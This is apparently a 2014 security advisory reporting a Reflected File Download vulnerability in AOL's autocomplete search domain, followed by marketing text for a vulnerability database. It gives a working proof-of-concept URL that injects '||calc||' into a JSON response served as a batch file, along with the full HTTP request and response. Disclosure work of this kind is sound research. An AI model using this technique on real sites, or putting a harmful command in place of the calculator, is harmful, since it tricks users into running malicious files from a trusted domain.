`Oren Hafif reported a new kind of attack called Reflected File
Download (https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-new-web-attack-vector)
in Black Hat Europe 2014 conference.
More details about the attack you can found in his public
presentation: https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf.
Google and Bing have already fixed the vulnerability but I've found
the same vulnerability in AOL Search Website.
A malicious user could send the link below to a victim that you
download a malicious batch file from autocomplete.search.aol.com
domain.
In the link below we have search for 'iramar "||calc||' using the AOL
autocomplete domain. The browser will encode the double quotes but the
server will escape it (\") and return inside the json on the body
response.
Since the response has the header "Content-Type:
application/x-suggestions+json;charset=UTF-8" the browser will
automatically try to download the reflected file. Chrome didn't try to
download the file but Internet Explorer and Firefox will.
http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar"||calc||&it=ws-landing&dict=en_us_search&count=8&output=json
REQUEST
GET http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar%22||calc||&it=ws-landing&dict=en_us_search&count=8&output=json
HTTP/1.1
Host: autocomplete.search.aol.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)
Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ...
Connection: keep-alive
RESPONSE
HTTP/1.1 200 OK
Date: Tue, 21 Oct 2014 10:30:34 GMT
Server: Apache-Coyote/1.1
Content-Type: application/x-suggestions+json;charset=UTF-8
Content-Language: en-US
Content-Length: 24
Keep-Alive: timeout=5, max=10
Connection: Keep-Alive
["iramar\"||calc||", []]
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation